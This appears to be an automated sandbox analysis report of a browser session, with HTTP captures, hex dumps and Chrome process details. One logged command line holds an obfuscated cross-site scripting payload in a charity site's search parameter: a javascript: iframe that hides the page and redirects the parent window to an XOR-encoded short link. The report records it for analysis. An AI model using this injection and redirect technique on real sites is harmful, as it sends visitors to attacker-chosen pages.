                            Date: Wed, 30 Aug 2023 20:38:04 GMT
                            Content-Type: image/x-icon
                            Content-Length: 894
                            Connection: close
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:04 UTC62INData Raw: 00 00 01 00 01 00 10 10 00 00 01 00 18 00 68 03 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 18 00 00 00 00 00 40 03 00 00 13 0b 00 00 13 0b 00 00 00 00 00 00 00 00 00 00 ee df ae d5 b1 39 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d4 af 33 d5 b1 39 f0 e3 b7 da ba 4e c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dc be 5a d9 b8 4b c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dc be 5a d9 b8 4b c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dd c1 60 e4 cd 80 d7 b4 40 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 c9 9b 00 dc be 5a d9
                            Data Ascii: h( @93333333333339NZKZK`@Z


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            9192.168.2.44972152.204.90.22443C:\Program Files\Google\Chrome\Application\chrome.exe
                            TimestampkBytes transferredDirectionData
                            2023-08-30 20:38:05 UTC63OUTGET /jasset/images/warning.png HTTP/1.1
                            Host: urldefense.com
                            Connection: keep-alive
                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
                            Accept: */*
                            Sec-Fetch-Site: none
                            Sec-Fetch-Mode: cors
                            Sec-Fetch-Dest: empty
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                            2023-08-30 20:38:05 UTC63INHTTP/1.1 200 OK
                            Date: Wed, 30 Aug 2023 20:38:05 GMT
                            Content-Type: image/png
                            Content-Length: 4803
                            Connection: close
                            X-Robots-Tag: noindex, nofollow
                            X-Content-Type-Options: nosniff
                            X-XSS-Protection: 1; mode=block
                            X-Frame-Options: SAMEORIGIN
                            Content-Security-Policy: default-src 'self';
                            2023-08-30 20:38:05 UTC64INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 12 7d 49 44 41 54 78 da ed 9b 79 94 dc 55 95 c7 3f f7 fd 7e 55 dd b5 f4 5a bd 27 9d 74 12 12 3a 0b d0 24 24 21 90 10 04 86 44 56 13 93 00 86 e5 80 5b 44 98 e3 b8 80 10 74 8e 3a 0e 32 a0 8e 8a 23 67 1c 14 18 04 15 44 e4 cc 41 19 1d 1d c5 11 39 73 06 0d 9b 2c 09 24 21 21 49 6f d5 5b 75 2d bf df 7b 77 fe f8 75 37 09 74 63 a2 09 8b e6 76 bf aa ea 5f 75 bf 7a f7 7b ef fd de fb ee fb 35 1c 96 c3 72 58 0e cb 5f b1 c8 9b f5 c1 aa 5a f1 e3 0f 5f b5 22 10 a3 e7 dc fc 85 ff 10 91 e2 5f 05 00 df 6e 9b f1 c9 d9 26 76 bd ee ea c4 f3 0c c6 28 61 d1 52 6a 9d cc b3 9a bf e6 fd 5b b6 7c e1 2f 12 80 ef cc 9e b7 6e 52 36 77 6b e3 e0
                            Data Ascii: PNGIHDR@@iqsRGB}IDATxyU?~UZ't:$$!DV[Dt:2#gDA9s,$!!Io[u-{wu7tcv_uz{5rX_Z_"_n&v(aRj[|/nR6wk


                            Statistics

                            CPU Usage

                            Click to jump to process

                            Memory Usage

                            Click to jump to process

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Target ID:0
                            Start time:22:37:56
                            Start date:30/08/2023
                            Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
                            Imagebase:0x7ff7c94b0000
                            File size:3'219'224 bytes
                            MD5 hash:8D1C4713ACB7CC2AAAEE4477C58A80BA
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:low
                            Has exited:false

                            General

                            Target ID:1
                            Start time:22:37:57
                            Start date:30/08/2023
                            Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                            Wow64 process (32bit):false
                            Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1904,i,17923994011528251687,16385674197559425978,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
                            Imagebase:0x7ff7c94b0000
                            File size:3'219'224 bytes
                            MD5 hash:8D1C4713ACB7CC2AAAEE4477C58A80BA
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:low
                            Has exited:false

                            General

                            Target ID:2
                            Start time:22:38:00
                            Start date:30/08/2023
                            Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Program Files\Google\Chrome\Application\chrome.exe" "https://urldefense.com/v3/__https://covenanthousetoronto.ca/?s=*22*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20menu.get=*60mime*60*20library.start(*60await*60)*20lib**B20process**A(*60start*60).load*20arch.hand()*20folder.setElementByCode(*60socar*60)**B20contact(*60r*60,*605*60)*20**Aconnect=*60hola*60.fix()*22*3E*3Ciframe*20src=javascript*3A*2F*2Afd7**Aljj*5Bljj.attol1*5Dkhalfyacoleur**Ablanch*2A*2FcodeString=*60win*60*2B*60dow.par*60*2B*60ent.docu*60*2B*60ment.docu*60*2B*60mentEle*60*2B*60ment.st*60*2B*60yle.opa*60*2B*60city=0;url=*5B66,94,94,90,89,16,5,5,73,95,94,94,4,70,83,5,91,93,77,80,64,90,121,71*5D;*2F*2Athat*5B*7el**A5D(setInterval,*_hara*)laard**A3000zblaalo**A3000zb*2A*2Fwin*60*2B*60dow.par*60*2B*60ent.loca*60*2B*60tion.hr*60*2B*60ef=url.map(value=*60*2BString.fromCharCode(62)*2B*60String.fromCharCode(value*5E42)).jo*60*2B*60in('');*2F*2Achw**Echw.toUpUpDown()*2A*2F*60;codeString=codeString.replaceAll(*60salooa*60,*60azefcr*60);executeCode=Function(codeString);*2F*2Athat*5B*ovrir**A5D(sessionStorage,*_selve*)sleep.over**B2A*2FexecuteCode();*2F*2A**Amax.do()*2A*2F*3E*3C*2Fiframe*3E*3Cspan*20style=*60display:block;position:fixed;z-index:997483649;top:0;left:0;width:2000px;height:2000px;backgroundcolor:white;**A3E*3C*2Fspan*3E*7CCryptography*20menu.get=*mime**A20**Aintelligence.start(*dispatchEvent*)*20lib*20**Acomputing(*start*).reality*20arch.learning()onUpdated**B7C*20Blockchain**B20gif**A20location.reload()**B20web*22*20rsc*60*20door(*20remake=*20redo)**B20onstart_*20attitudelocal_marine**B20folder.setElementByCode(*socar*ar*)__;JSUlJX5-JcKnfn4lJcKnfn4lwqclJcKnJX4lwqclJSUlJSUlwqclJcKnJSUlJSUlJcKnJcKnJSUlJSUlwqclJSUlJSXCpyUlJSUlJSUlJcKnJSXCpyUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlfn4lfn7Cp8KnJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlwqfCp8KnJSUlJSUlJS
                            Imagebase:0x7ff7c94b0000
                            File size:3'219'224 bytes
                            MD5 hash:8D1C4713ACB7CC2AAAEE4477C58A80BA
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Reputation:low
                            Has exited:true

                            Disassembly

                            ⊘No disassembly